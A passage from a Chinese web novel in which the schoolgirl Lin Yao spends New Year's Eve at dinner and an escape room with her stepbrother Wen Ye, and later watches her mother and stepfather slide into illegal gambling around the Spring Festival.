她把练习册放进书包,拉链刚拉上,少年那只的骨节清晰手就伸过来,把她书包拎了起来。 “晚上想吃什么?我请你。”他问,走到她右侧,风刮来的方向。 “我都可以,看附近有没有什么饺子店或者面馆吧。对了,你那两个朋友呢,他们怎么还没出来?” “他们检讨还没写完,要写完了才能走。” 街边就有家炒粉店,小小的招牌被多年风雨侵蚀得破败斑驳,里面也同样狭小破旧,就几张简陋的塑料桌椅,连煤气炉都是摆外边。 老板正颠锅拿大火翻炒着,热腾腾的白气在黑夜里飘散开,闻着还挺香的。 “要不就在这儿吃吧?”林杳提议道,她肚子已经有些饿了。 闻野偏头看了一眼后没答应,带着她去了更前面一点的,一家必胜客。 这一年人均工资还只有两千多,必胜客算是价格偏高的消费,平时人都不多,今晚或许是跨年夜的缘故,隔着玻璃都能看到里面坐满了,大多是一家三口,还有些小情侣。 走进去,店里放着很欢乐的歌曲,每个人脸上也都洋溢着快乐的笑容。 闻野先问了她想吃什么,林杳不想让他破费,就要了份意面。 “意面和海鲜饭各一份,一份奥尔良披萨,再来一份香草凤尾虾,一份炸酥鱿鱼和烤翅……”他看着菜单点道,一旁的林杳拼命拽他袖子,不停地小声地说够了够了。 闻野又加了两杯橙汁,思忖两秒后又要一块提拉米苏,女孩子应该都比较喜欢吃甜的。 人太多了,找不到一张空桌子,他们俩只能和别人拼桌,并排坐在一块儿。 林杳看着面前放满的餐盘,嫌他浪费钱:“我刚一直说够了你都不听,点这么多,我们俩哪儿吃得完呀。” 闻野看着她,眼里不自觉带上笑意:“那你多吃点呗,你也该长点肉了,这么瘦,风大点都该吹倒了。” “哪有那么夸张。”林杳瞋他一眼。 在从前的家里,必胜客不算什么稀罕的,每个周末父母都会带她和沅沅来,搬来这边后她就没再来过了。 她手里是还有一小笔钱,但要用作生活费,学校要交什么资料费也是用这个钱,她下意识想多省着点。 平时在家,好吃的赵美莺都紧着闻磊吃,有次做了排骨,她吃了几块,就被说不知道让着弟弟,弄得她每次吃饭都很注意,不敢多夹。 所以今天这顿对她来说算是特别好了,又抱着不能浪费的心思,她也比平时吃得多,意面吃完了又吃甜品和一些小吃。 直到她实在吃不下了,闻野才开始解决剩下的,林杳握着橙汁,有一口没一口地慢慢吸着,隐约听见书包里的手机铃声在响。 她拿出来看,屏幕亮着的备注让她愣住半晌。 电话是周桐欣打来的,她是林杳在原来那所高中最好的朋友,两人军训的时候认识的,高中一整年不管干什么都形影不离。 但自从暑假起,周桐欣突然对她变得冷淡了许多,消息隔很久才回,叫出来玩也不答应,等高二开学了之后,她开始和别的女生一起玩,吃饭,上厕所,或者干什么。 莫名其妙的,林杳被她划出了好朋友的范围,越来越生疏,再到她搬家转学,彻底没有了联系。 此刻周桐欣应该在陈澍予组织的同学聚会上,林杳不知道她为什么会打电话过来,还是接通了。 这边环境太吵了,她有些听不清楚,不得不调成免提模式,重新放回耳边:“你找我有什么事吗?” “我 刚听陈澍予说,他今天跟你表白了,但被你拒绝了,现在他在包间里一杯杯喝着啤酒,样子颓废又难过。“电话那头,周桐欣直接道。 林杳愣了愣,没等她说话,周桐欣继续道:“你应该还记得我和你说过吧,我从初中开始就喜欢一个男生,那人就是他。” “陈澍予出国之前我约过他出来一次,说是告别,其实是想和他表白。他答应了,我高兴的不得了,可那天一见到我,他就开始问各种你的事,我才知道他喜欢的是你。” 林杳听见电话那头她轻吸了吸鼻子:“你知道我为什么不和你玩了吗,因为我不想当你的陪衬了。你成绩好,长得又漂亮,还会跳舞,到哪儿都是人群的焦点,我跟你在一起,总是背景板一样,根本不会被注意到,我受够了这种感觉。” 她语气变得嘲讽:“我听他说你的养父母生意破产了,你被送回亲生母亲那边,还转去三中那种烂学校,看来没谁会一直被命运眷顾……” 握着的手机被身旁人拿了过去,林杳侧头看去,少年沉着脸,眉眼冷肃,啪的给她挂断了电话:“听傻逼瞎逼逼个什么劲。” 两人坐得近,她又开的是免提,闻野把通话的内容听得一清二楚。 他漆黑的眸子看向她,绷着的脸色缓了几分,刚才硬邦邦的声音也柔和了许多,透着一本正经的认真:“优秀又不是你的错,被人喜欢更不是。你也不用因为拒绝了谁就感觉愧疚,这本来就是你的自由。” “要不然喜欢你的人多如过江之鲫,你每个都愧疚一遍,这辈子就在愧疚中度过得了。” 林杳被他说得脸红了红,什么过江之鲫,哪那么夸张呀。 闻野还给她手机,熟练地拎起她的书包:“走吧,衣服拉链拉上,外边冷。” “噢。”林杳听话地照做。 推开玻璃门走出店,北风迎面刮来,她冷得一哆嗦,头低了低,双手也伸进衣服口袋里放着。 虽然被闻野安慰了一通,但心里还是不可避免地有一点失落和难过,她埋头自顾自走着。 直到身后传来闻野的声音,她才顿住脚步。 回头一看,他不知何时落后自己几步,手里拿着手机,屏幕还是亮着的。 闻野边朝她走来变道:“刚彭一凡他们发消息过来,说有个新开的密室逃脱很好玩,江边十一点多还有烟花秀,问我要不要出去玩。” 他走到他她前,低头看着她问:“你想一起去吗?” 第18章 第十八章 合照 彭一凡他们第一遍的检讨由于写得不够深刻, 还被打回去重写,折腾到晚上七点多,才从警局出来。 两人饿得前胸贴后背, 两眼冒金星, 就在林杳和闻野他们刚路过的那家炒面店吃了。 冷风呼呼地往里灌, 狭小的店里此刻就坐着他俩,更显得凄凉萧索。 “野哥这次真有点不讲义气了啊, 竟然就这么抛下我们走了。”彭一凡正愤愤然吐槽着,搁桌上的手机突然滴滴两声,进来一条新的消息。 闻野:【跨年夜想不想出去玩,我请客】 路安宇凑过脑袋,和彭一凡同时看到,心里刚升起的那一丢不满顿时烟消云散,呜呜呜野哥还是想着他们的! 他们几个男生,平时常去玩的地方无外乎是台球厅和网吧包夜。 结果下一秒闻野的信息又来了:【不去网吧和台球厅,你想想附近还有别的哪些地方好玩】 闻野:【要适合女生去的】 “这我们哪知道啊?”路宇安为难地直挠头。 彭一凡也是想了半天,突然灵光一现:“我问问彭思嘉,她肯定知道。”- 闻野和林杳打车, 先到了滨江路,彭一凡推荐的那家密室逃脱的店, 在一家商场的五楼。 他头一次带女生出来玩, 除了游乐园, 并不知道女生喜欢玩什么, 但游乐园离得太远, 赶过去来不及。 这一年密室逃脱算是才兴起的,到了地一看,外边的等待区几乎坐满了, 都是年轻人,女生也很多。 林杳和闻野紧挨着坐在沙发上,拿着工作人员发的宣传单一块儿看。她对这游戏还挺感兴趣的,小时候上计算机课,她还总在4399那个网页玩密室逃脱的小游戏。 不过现实版的还有好些恐怖元素的,光看那背景介绍图都阴森森的,特别吓人。 等了没一会儿,彭一凡他们就来了,身边还跟了个穿着jk制服,打扮得很俏皮的女生。 彭一凡见到林杳也不意外,除了她,他也想不到野哥会和哪个女生出来玩。 “彭思嘉听说我们要来玩密室,非要跟着一起来。”他解释道,又对着林杳介绍:“她叫彭思嘉,我表妹,也是我们三中的,在念高一。” 闻野也认识彭思嘉,倒是无所谓,多个女生在,林杳可能还更自在一些。 林杳冲那女生笑了笑:“你好,我叫林杳。” “我知道你。”彭思嘉大大方方地笑起来:“你在三中很有名的,那么漂亮,成绩又那么好,简直太厉害了。” 两人聊起来,当然聊的话题和学习一点不相关,这点彭思嘉和她哥一脉相承,一看书就犯困,她兴致勃勃地和林杳分享自己去各种漫展拍的照片。 “我下次去叫上你啊,你那么瘦,长得清纯又好看,又是黑长直,穿球衣cos赤木晴子最合适不过啦!” 林杳看得也被勾起了兴趣,笑着点点头:“好呀。” 旁边坐着的彭一凡和路宇安闻言,下意识地想象了下林杳穿无袖的篮球服和短裤,露出白生生,又细又直的腿的模样。 这不比篮球宝贝还好看,哪个男生能顶得住啊?! 两人都暗搓搓地激动起来,忍不住朝她扭过头看去。 视线被隔空阻挡住。 闻野一张冷峻的脸偏过来,眉皱着,一副看透了的眼神盯着他俩,沉着声道:“收起你们那些乱七八糟的龌龊想法。” “……” 又等了半个多小时,工作人员出来,说是有一间非恐怖元素的密室空了出来,问有没有人要进去。 彭思嘉胆子小,就想玩这个。 彭一凡不乐意道:“密室逃脱就是要玩恐怖元素的才带劲刺激好不好,非恐怖元素的是留给八岁小孩子玩的。” “恐怖元素的适合暧昧期的小情侣玩,全程牵着手,碰到吓人的地方直接抱一块儿,你有毛线的暧昧对象。”彭思嘉扬了扬下巴,振振有词地反驳。 “这样,我们公平起见,投票决定。”她说完,眨巴着眼看向林杳:“杳杳,你也想玩非恐怖元素的对不对?” 林杳想起刚在宣传单看到那些阴森森的图片,连忙点头表示支持。 彭一凡和路安宇则坚定不移地要玩恐怖元素,二比二,最后大家目光都看向闻野。 彭一凡他们觉得这波稳了,野哥作为他们中胆子最大的,肯定也更愿意玩刺激的。 结果一秒不到,他们的脸就被打得啪啪响,只听闻野拖着懒散的强调不紧不慢道:“还是玩非恐怖元素的,我怕太吓人了,晚上做噩梦。” “……” 两人内心咆哮,你一个六岁时看山村老尸都面不改色的人,怎么说得出口怕做噩梦这种话的?!! 闻野去交了钱,他对玩什么并不在意,本来就是看林杳心情不好,才想带她出来玩玩散心,看着她亮晶晶写满期待的眼眸,唇角不露痕迹地勾了勾。 五人被一个拿着教鞭,打扮成老师的工作人员领进一个房间。 这个密室的主题叫做逃学威龙,因为不带任何恐怖元素,整个房间布置得就和普通教室一样,十几张桌椅,正前方是讲台和黑板。 工作人员尽职尽责地扮演着老师的角色,推了推脸上的黑色框架眼镜,板着脸严肃道:“这节课你们把黑板上的赤壁赋抄五遍,认真抄写,用心理解。为了防止你们逃课,我会把教室前门 锁上。” 说完那“老师”就从前门出去了,并在外面用一把小锁锁上了。 教室后面还有一扇门,几人走过去看,这门是密码锁的。 彭一凡托着下巴,煞有介事地分析道:“我觉得我们应该是要找和数字相关的线索。” 彭思嘉拆台:“我觉得但凡长了眼睛的,看到这扇门都会得出这个结论。” 彭一凡:“……” 他和他妹,明明还是有点血缘关系的,怎么就不能像野哥和林杳相处得那么和谐有爱呢? 几人齐心协力开始翻找,讲台,粉笔盒,桌洞,连垃圾桶都没放过,有的线索还需要做简单的,类似鸡兔同笼的数学题,最后终于在半小时后找到五个数字。 分别是9,1,6,7,5。 最后的,也是最关键的问题是怎么把这五个数字按顺序排列组合起来。 林杳在心里算了下:“五个数字,总共有120种组合方式。” “没事,我们一个个试,总能试出来的。”彭一凡乐观道。 然后和路安宇开始一个个试,先是91675,再是91657,接着又按91576,到第二十个的时候就完全乱了套。 彭一凡挠挠头:“96751这组数我们刚刚试过没?” 彭思琪忍不住吐槽:“一个个试也太蠢了,这得试到猴年马月啊,还有十分钟时间就截止了啊。” 彭一凡:“你行那你上。” “……”彭思琪闭了嘴。 林杳也觉得不该是一个个试,她目光又在翻遍了的教室转了几圈,最终定在黑板上,又想起刚才工作人员锁门前说的那句话。 闻野也正看着黑板。 半晌,她猜测的,和闻野笃定的声音同时响起:“数字顺序的线索应该在黑板上的赤壁赋上。” 剩下三人齐刷刷扭头,看向黑板,半天也没明白,又转头看向他俩。 林杳试着分析道:“那工作人员走之前让我们抄这篇赤壁赋,还说什么要用心理解,我觉得这就是个线索。你们再看第一句话,壬戌之秋,七月既望,里面就包含了我们找到的那个数字七。” “我记得语文课上老师说过,既望也是个日期,就是不太记得具体是哪号了。” 因为这不会作为考试的内容,所以当时她听过一耳朵就忘记了。 “这好办,我去翻语文书看看。”路安宇道,伸手就要去拿课桌上的语文书,闻野淡声开了口:“是十六号。” 大家都是一愣,路安宇翻到了赤壁赋这页,一看,还真是! 路宇安震惊钦佩地瞪大眼:“卧槽!野哥你怎么会知道啊?” 闻野目光瞥过一众错愕的脸,到一双圆溜溜的眼睛那儿时停住,他看向林杳解释道:“上这课的时候老师讲这篇时没睡觉,顺便就记住了。” 彭一凡又去试,先输入716,再输入5和6,不对,又把5和6颠倒了顺序,滴答一声,密码门开了。 “耶成功了!”彭一凡激动得差点蹦起来,和路宇安击了个掌。 大家走出去时都很高兴,林杳也扯起嘴角,跟着一起笑,可心里却莫名萦绕着一点难受。 或者更准确来说,是惋惜的情绪。 《赤壁赋》是高一学的,对闻野来说隔了将近两年时间,他就只是随便一听的,却还能清楚准确地记到现在,如果他当初没有受家里的那些事影响,他现在成绩一定特别好。 顺利通关,每个人还获得一包小零食作为奖励。闻野直接将他的那份放进手里拎着的,小姑娘装满课本的书包里。 坐电梯下去时,他看见她垂着眼,听着彭思嘉和她讲话,脸上有一点并不明显的低落情绪。 不是玩的时候很开心么,也赢了游戏,这是怎么了?闻野皱了皱眉,百思不得其解。 从商场出来,大家朝着江边走去,一会儿有烟花放。都快十点了,但因为是跨年夜,街边反倒更热闹,一排摆摊卖衣服袜子,糖葫芦和鸡蛋汉堡的,生意最好的是卖氢气球的。 粉色的卡通小猪气球,里面还有五颜六色的小彩灯,好多小孩子吵着让家长买。 闻野都走过去了,听见身后彭思琪说:“好可爱的气球啊。” 他回头看了一眼,并不觉得那些大鼻子的猪有哪里可爱的,但余光瞥见林杳也歪着脑袋在看那些气球,看着是有点喜欢的样子。 于是他走过去,问了价格后摸出二十五给了那小贩。 林杳正意外他居然买这个,少年骨节分明的手指抓着那根气球的线,几步走到她跟前,低着头问她:“要么?” 买都买了,而且她也确实觉得气球很可爱,于是点点头,大眼睛弯了弯:“要,谢谢。” 闻野见她笑了,也扬了下唇角,把手里的绳子递给她。 彭思琪看得那叫一个羡慕哦。 也又一次被震惊到,这还是印象里那个让全三中男生不敢惹,冷拽又不近人情的校霸吗? 她过头眼巴巴地看向彭一凡,少见地声音甜甜地喊了声哥:“我也想要气球。” 彭一凡甩了甩手上的鸡皮疙瘩:“这玩意纯粹是暴利,二十五块钱我能买一百个气球。” 彭思琪气得翻了个白眼:“抠死你得了。” 扭头就对林杳抱怨:“同样是哥,差别也太大了,闻野对你那么好,彭一凡就是个抠搜的二愣子。” 林杳看着在半空中飘着的小猪气球,也感觉闻野确实对她特别,把她当亲妹妹一样疼爱。 也让她在这个陌生的,格格不入的家里,感觉没那么孤独和无助。 走到江边,也是到处人头攒动,他们往里走了很久,才找到相对人少的一块地方。 烟花秀还没开始,树上挂着带亮灯的小灯笼,枝干上缠满了亮晶晶的灯带,看上去像整棵树在发光一样,特别漂亮。 彭思嘉先是让彭一凡帮忙拍照,又嫌弃他把自己拍得难看,又把手机又交给林杳。 彭一凡乐得轻松,和路宇安一块儿去看旁边拿圈套娃娃的,也兴致冲冲地叫了闻野:“野哥一块去啊。” 闻野耷拉着眼皮,一手替林杳拿着气球,另只手捏着手机随意地鼓捣,兴致不高:“懒得动。” 彭一凡和路宇安走了,他撩起眼,看着小姑娘耐心又好脾气地各种找角度帮彭思嘉拍照。 视线落到地上某一处,顿了顿,他修长而骨节清晰的手指按进相机。 对着地面的两道影子悄无声息地拍了张照。 他和林杳站得近,所以地上的两道影子也是紧挨着的,也算是张他们的一张合照。 第19章 第十九章 你有你哥给 三中放寒假的时间比林杳预想的要早, 1月7,8号两天期末考试,再去学校两天评讲试卷, 就直接放假了, 也没补课。 林杳考试时正常发挥, 依然是年级第一,并且还是第二甩出几十分的成绩, 每科老师念她的分数时都神清气爽,眉眼里的笑压不住。 最后一节课上着班会,班主任强调寒假的各种注意事项,又把安全告知书发下去让签字,各科老师陆续过来布置寒假作业,喊代表和男生去办公室抬试卷。 全班同学都愁眉苦脸的,此起彼伏地唉声叹气,林杳倒是很平静,之前她在外校,寒假时长只有三中的一半,作业量却是这里的两倍。 她把黑板上各科的作业内容抄下来, 听到谢安琪请求的语气问她:“杳杳你卷子做完了能拍照发给我嘛,我参考一下。” “可以啊。”她欣然答应。 “杳杳你太好了。”谢安琪边抄着作业边和她闲聊:“过年我要回我乡下奶奶家, 等开学我给你带那边好吃的柿饼。” 林杳笑着提前道了谢, 她想了想自己, 也不知道今年过年她需不需要跟着去哪儿走亲戚。 作业都发下来后, 班主任宣布放学, 值日的同学留下来,其他人一个赛一个地跑得快。 林杳帮着谢安琪把教室后面纸箱里快装满的塑料瓶倒进一个垃圾袋里,两人一起拎着走出教室。 谢安琪是生活委员, 属于又辛苦又麻烦,班上 谁都不愿意干的个职位,卖瓶子这活儿也该她负责,卖了的钱用作下学期班费。 收废品的地儿离学校还有些距离,途径车站时,正等着车的蒋淼看见了她们,然后走了过来。 他主动朝她们伸出手:“我帮你们提吧。” 林杳对蒋淼最深的印象还停留在前不久元旦,他抽到的惩罚是和宋雨婷相互对视,宋雨婷不愿意,最后谢安琪站出来帮他解围。 之后他在班上依然默不作声,没什么存在感。 这会儿他主动提出帮忙,林杳就有些意外,蒋淼自己说完也有点局促,不自在地推了推鼻梁上厚重的框架眼镜。 “好啊,那谢谢啦。”谢安琪没多想就答应了,男生嘛,再怎么力气也大点。她看向林杳:“我和蒋淼去卖瓶子,杳杳你就先回去吧,我们开学见。” 她笑容明亮地挥了挥手,林杳也是如此,弯着眼道:“开学见。” 回到家六点半。 平常正是吃饭的点,今天桌上一副碗筷都没有,闻天明和赵美莺两个大人不在家,闻野也没回来,家里只有闻磊一个在。 他噔噔噔跑到林杳跟前,上次被闻野教训过,也学得乖了,知道先喊一声姐姐,然后可怜巴巴道:“我肚子要饿死了。” 很少有两个大人不在,而把闻磊单独留在家的情况,林杳有些奇怪,问他妈妈和闻叔叔去哪儿了,闻磊想了半天,说爸妈去摇骰子的地方领片子钱了。 林杳懵了懵,没听懂什么意思,闻磊又不停嚷着好饿,她自己也还没吃,于是搁了书包走进厨房。 虽说没怎么做过饭,但煮面条这种基本的生活技能她还是具有的,也正好在冰箱里找到了番茄,鸡蛋,和半袋子挂面。 锅里先倒油,开火加热的同时,林杳拿着筷子把碗里的两枚鸡蛋打匀。 锅里的油滋滋地冒起小泡泡。 怕被油溅到,她尽可能离锅站得远些,拿着碗的胳膊伸得长长的。 就要往热锅里倒鸡蛋然后再迅速缩回时,门口猝不及防的响起闻野的问话声。 “晚上还没吃?” “嗯。”她歪过头看他,回答的功夫,闻野已经几步走了过来,接过她手里的碗。 “我晚上也没吃,我来煮。” 话音落,不等她反应,少年修长手骨端着的碗就沿着锅边沿倒进鸡蛋液,又拿起一旁的锅铲熟练地翻炒着,与此同时道:“你回房间待会儿,我弄好了叫你。” 林杳不好意思等着吃现成的,主动提议:“那我去把番茄洗了。” 老房子的水管没通热水器,冬天的水连闻野一男的都觉得凉。她手那么嫩,过一遍冷水要冻红好久。 “不用。” 他拒绝来得飞快,林杳要拧水龙头的动作一顿,朝他投去疑惑的目光,燃气灶的火光映亮少年棱角分明,又煞有介事的一张脸。 他给出她理由:“我做饭有个习惯,不喜欢别人插手,每一道工序都要自己来才放心。” 这是怕她洗不干净吧? 林杳在心里嘀咕,还是听他的话放下番茄出去了,但也没上楼回房,就坐在客厅的沙发等着。 电视里在放着部动画片,闻磊看得时不时发出哈哈笑声,赵美莺和闻天明还没回来。 一刻多钟后,闻野走出来,一手端着一大碗番茄鸡蛋面,林杳进厨房给闻磊盛了一小碗,拿上三双筷子走出来。 没赵美莺管着,闻磊继续坐沙发前边继续边看动画边吃,但因为闻野在,也规矩很多,自觉把电视声调小了。 林杳和闻野面对着坐在餐桌,眼前的这碗面色泽鲜艳丰富,番茄打底,还有鸡蛋,葱花,火腿片,看着就很香。 她尝了一口,味道酸酸甜甜的,是好吃的。 闻野看着她埋头连吃了几筷子,唇角忍不住勾了勾,等小姑娘再抬起头,目光四处寻找时,他伸手拿了抽纸递过去。 林杳抽出一张擦了擦嘴,想起来困惑地问他:“领片子钱是什么意思啊?” 闻野轻皱了下眉:“你从哪儿听说的?” “就刚才闻磊说的,我问他闻叔叔和妈去哪儿了,他说……”林杳仔细回想了下,复述着道:“说是去摇骰子的地方领片子钱了。” 闻野嗤了声,眉眼里满是嘲讽不屑:“这两人还是不知死活。” 看见小姑娘不解又隐隐担忧目光,他收敛了下脸上的表情,眉头也松了松,才对她解释。 “摇骰子就是坐庄的摇两个骰子,揭开骰蛊之前让人压钱猜里面的点数是单还是双,猜对了下多少钱就嬴双份。” “至于片子钱,就是那些地方为了增加人气,让人过去凑数,到点了每个发几十块的。只是那些拿了片子钱的,多半看到别人大把赢钱也心痒难耐,也会压钱玩起来。” 闻野开那个小纹身店,来他这儿做的人三教九流,什么都有,因此对这些也门清。 有的输了找庄家借钱,高利贷越累越高又还不上,最后剁手的跳楼的都有。 林杳听得心里惴惴的,不确定地问道:“那这算是赌博吗?” “那当然。” 他一句话让她心沉下去。 闻野侧头看向她,神色和说话的语气都严肃了几分,当真就有兄长的模样:“你别管他们这些事,你说了他们也不会听的。你好好学习就行,你手上是有一笔钱对吧,你自己拿好了,不管谁找你要,说什么都别给。” 林杳愣了愣,郑重其事地点头。 闻野先吃完,也没走,仍靠坐在桌边的椅子上,懒漫闲散地玩着手机,等她也吃完了面条,他才起身,端起两个空碗走进厨房。 林杳也跟了进去:“碗给我来洗吧。” “我还有个习惯。”他偏头看向她,扬了扬眉梢:“就是做事呢一定要有始有终,我做的饭,就得我来收拾。” 林杳:“……” 晚上十点多,赵美莺和闻天明才回来,两人具是一脸喜色,不仅白拿了二十的片子钱,各自还都赢了两三百块。 之后连着一个多星期,闻天明下班了也不见人影,赵美莺则是赶回家快速做几道菜,自己快速扒完几口,吩咐林杳一句照看弟弟吃饭写作业,就赶往那地方去玩。 林杳没法真做到置之不理,看着他们越陷越深,试着劝过一次,和赵美莺说了这是赌博,是犯法的,很多人都因此倾家荡产,家破人亡。 但正如闻野说的那样,赵美莺哪会听她的话,况且天天去了就白给二十块,这便宜不占不是傻子? 这段时间赵美莺虽有嬴有输,但总归是赢得多,更是尝到了甜头,玩得越来越晚才回家。 林杳也没一点辙。 直到除夕,那地方不开,夫妻俩才在家待了一天。晚上吃团圆饭时,闻野难得也在。 吃到一半,闻磊坐不住了,吵着要压岁钱买鞭炮玩。 赵美莺这些时赢了不少,便也大方,从口袋里摸出早就准备好的红包,笑眯眯地递给他,却对同样在旁边坐着的林杳熟视无睹。 正捏着手机,回着彭一凡邀约出去玩消息的闻野看到这幕,脸色一黑。 闻磊当场拆开那封红包:“哇,是一百块,妈妈真好!我可以买好多鞭炮和零食了。” 林杳长睫垂着,继续安静吃着饭,失望得多了也就习惯了。 “刺啦——”,椅子和地面摩擦,划拉出的刺耳一声打破这母慈子孝的氛围。 闻野捏着手机,低头回了个不去,头也不回地走了。 门也是哐当一甩,毫无礼貌客气可言。 赵美莺自是相当不满,气得直哼哼:“谁惹他了啊这是,什么狗脾气,真是没一点家教。等我多嬴些钱就从这儿搬走。” 吃完了年夜饭,闻磊拿着一百的压岁钱出去买鞭炮玩了,赵美莺和闻天明这段时间天天熬夜,也没精神看春晚了,早早就回房去补觉。 林杳从前年年都会守岁,但现在一个人 看也没意思,也回了房间写寒假作业,手机不断响起,她拿起来回复同学发来的祝福短信。 窗户外,二踢脚,摔炮,小朋友们玩闹的欢笑声连绵不断,握着的笔尖在卷子上停留过久,沁出一团黑色,她从发呆中回神,连忙拿开。 肩膀还是忍不住往下一塌,轻轻叹出声气。 安静许久的房间被两下笃笃有力的敲门声打破。 平时赵美莺找她一般直接推门而入,她过去开了门口,果然是一个小时前离开家的闻野。 他修长手指勾着个挺大的白色塑料袋,能看见里面装的,薯片果冻各种各样的零食。 “倒也不用这么刻苦吧,除夕晚上还写作业,你这是不给第二名一点追赶上来的机会啊。”他勾了勾唇,语气调笑道。 林杳被他说得有点脸红,她只是一下无事可做,接着就听他道:“我一个看春晚无聊,你下来陪我一起呗。” 五分钟后,林杳和闻野一块儿坐在一楼客厅的沙发,吃着他买回来的零食,看电视里载歌载舞的节目。 闻野拧开瓶可乐,几口下去就灌完。 今晚除夕,不仅周围找不到还开着的商店超市,连出租都打不到一辆,几站路全靠跑的。 他不记得多少年没过电视了,更别提春晚这种节目,但这会儿,和她一起看那些小品看歌舞,倒不无聊,还挺有意思。 12点钟,那首经久不衰的《难忘今宵》结束,两人一起跨完了这个年。 闻野拿起遥控,关了电视,客厅倏然变得安静。 林杳有些犯困,手正捂着嘴巴,哈欠打到一半,一只骨节分明的手指就捏着封红包递到了她眼前。 她愣了愣。 “闻磊那小破孩有他妈给,你也有你哥给。”他不服气地哼了声,实则给她抱着不平。 又眉梢一挑,唇角勾着笑催促,“快拿着啊,我手要递酸了啊,放心,你的红包比他的大。” 林杳鼻尖一酸,隐藏心里的委屈一旦被察觉,就像海绵遇水,一瞬间就扩大好几倍。 “没想惹你哭。”闻野叹息一声,冷硬的眉眼透出几分无奈。 他把红包塞进她羽绒服一侧的兜兜里,嗓音磁沉,带着温柔的哄意:“就是想讨个好兆头,保佑你平平安安的。” 林杳忍住眼泪,双手绕自己脖颈后,有点儿费力地解着脖子上的一根红绳。 “你伸手。”她边扯着绳子边对他道。 闻野刚照做伸出手,那枚从她胸口间扯出来的玉佩就落在他掌心之上。 带着少女身上长久温暖的体温,似乎还沾染着她身上幽幽的香气。 让他竟有种,触碰到她的感觉。 闻野喉结动了动,目光一瞬变得幽深晦暗。 “我没红包给你,这个就送你吧,这玉佩是我小时候妈妈在山里的寺庙上求的,我一直戴到现在。” 这是她全身上下最值钱,也是最珍惜的东西了,她不是小白眼狼,闻野这些时对她的好她都在心里记着,却一直没机会回报。 她眼弯了弯,嗓音里带着软软的鼻音,透出认真的语调:“新年快乐。” 闻野握紧了几秒手掌,玉佩上沾染的体温感受得清晰。 随即,他人走到她跟前。 又低了低头,将那根细细的红绳重新系回她脖颈,手指紧张得有点抖,谨慎又小心地没碰到一下她颈间白腻的皮肤。 “你看我像喜欢戴这玩意儿的么?” 头顶响起他哼笑的声音,林垂想了想,好像也是。那些青春期叛逆男生喜欢的耳钉项链就从没在他身上出现过。 礼物没送开出去,她略感失落地“噢”了声。 又感觉他系那红绳系得似乎有点久,像是打了好几个结,给她系得牢的不能再牢了。 “你好好戴着——” 听到他又出声,她抬起长长眼睫,和他低垂着,黑如曜石的眼眸隔空对望。 外面噼里啪啦的鞭炮声,忽然变得遥远而模糊,只有他低沉的,又认真似祈愿的嗓音和她挨得很近很近。 一字一字地说。 “让诸天神佛,继续好好保佑你。” 第20章 第二十章 令人胆颤 闻野买回来的那袋零食太多了, 今晚连一小半都没吃完,剩下的被他塞给林杳,让她拎回房了。 整个过年期间林杳都没走亲戚, 初十那天下午, 她被彭思嘉叫出去逛新开的一家书店。 彭思嘉用压岁钱买了几本黑执事和银魂的漫画, 林杳则拿了两本天利38套。 走出书店,彭思嘉看着她拎着的袋子里装的试卷, 佩服道:“我寒假作业都没动几个字呢,杳杳你居然买额外的资料做了。” 林杳温吞笑了笑:“我这些天没走亲戚,天天待在家没事,就把作业都做完了。” 彭思嘉想说在家怎么会没事呢,看日漫追番玩手机刷贴吧,熬夜时间都不够她用的。 但转念一想,或许这就是她是学渣,而人家是超级大学霸的原因吧。 又在商场这里那里的闲逛了一圈,两人在一楼新开的奶茶店排了个巨长的队,一人买了杯奶茶,然后告别, 分道扬镳地坐车回家。 下了公交,林杳握着还没喝完的奶茶刚走进小巷子, 就恰巧看到前面一道熟悉无比的身影, 当即朝着少年小跑过去。 身后突然响起的, 急促又轻快的脚步声让闻野一顿, 转回身看到是她, 眉有些意外地挑了挑。 他早上十点多去的店里,还真不知道她下午出去了,从放假起小姑娘就天天在家足不出户的, 今天倒还挺难得。 没等他问,小姑娘自个儿先巴拉巴拉说了:“下午我和思嘉去新天地逛书店了,这家商场一楼新开了个奶茶店,排队的人超级多,我们俩等了将近半小时才拿到。” “这么久啊。”闻野唇角勾了勾,问她好喝么。 “好喝的。”林杳弯着眼点头。 “呐,这个给你。”她手伸进装了两本习题卷的塑料袋,边说着边摸出个东西递到他眼前。 闻野低眸,看见大大的一只护手霜,明黄色的,上面是卡通小熊的图案。 耳边继续着她的声音,嘴巴咀嚼着珍珠,有些含糊:“我前两天看见你手指裂了个小口子,正巧今天去商场,就在屈臣氏里去买了支护手霜。” 闻野给人刺青时都是戴着一次性的塑料手套,最长一戴就是五六个小时,那玩意儿闷又不透气,加上冬天本就干燥,又频繁地冷水洗手,手上脱皮裂开是再正常不过的了。 他并不当回事,就连和关系最好的彭一凡见了也不会在意。 男生嘛,本就磕了碰了的不在意,更何况还是他。 从品学兼优的好学生堕落到惹是生非的惯犯,挂彩成了常有的事,同学,老师,邻里邻居的,都习以为常了。 谁都不会没事找事地问一句,伤口用不用处理,反正疼也是他自找的,于他而言也习以为常了。 更不会有谁会去在意他手上一道不足一厘米,微乎其微的小口子。 见他半天没接,林杳想了想,以为他是嫌弃护手霜有香味,就像平时在班上,哪个女生抹了护手霜,总有男生怪声怪气地说味道刺鼻。 她向他解释:“我挑的是没有味道的那款,你可以放心用。” 夕阳往西边偏斜,天色变得昏暗,气温也跟着陡然降了好几度,空气里浸着股寒意,风呼啸着从光秃秃的树枝间穿过。 那只软白纤细的小手还举在半空中,持之以恒地朝他递着。 闻野接过,喉咙动了动:“谢谢。” “不客气。”她笑起来,软声叮嘱:“你记得每次洗完手都要擦一点啊。” 到了家,还没进去,里面一声高过一声的吵架声先传了出来。 “要不是你们厂领导给我打电话,我都不知道你旷工了一天没去上班,一大早又跑去那地方玩了!玩就算了,每次还几百几百的下,一天就输了五千多!” “我还不是一开始输了,想要快点赶本回来,谁想到运气那么背。五千算什么,我一千一把,五把就赢回来了。” 十赌九输,闻野对这结果并 不意外,被吵得有些烦,偏头看向身侧的小姑娘,小脑袋果然耷拉了下来。 那点烦躁升级为恼怒,他拿钥匙开了门,只见躺沙发上的闻天明胡子拉碴的,一脸的无所谓。 赵美莺一听闻天明刚才那话急死了:“你还想一千一下,你是巴不得把我们家那点积蓄都败光是不是?!我和小磊娘俩怎么办,到时候去喝西北风?!” 她贪点小便宜,每晚过去拿个三十块的片子钱,再十几二十地小赌几把,前几天连着输了两千多,她已经有些肉疼得不敢再去了。 哪想闻天明胆子这么大! 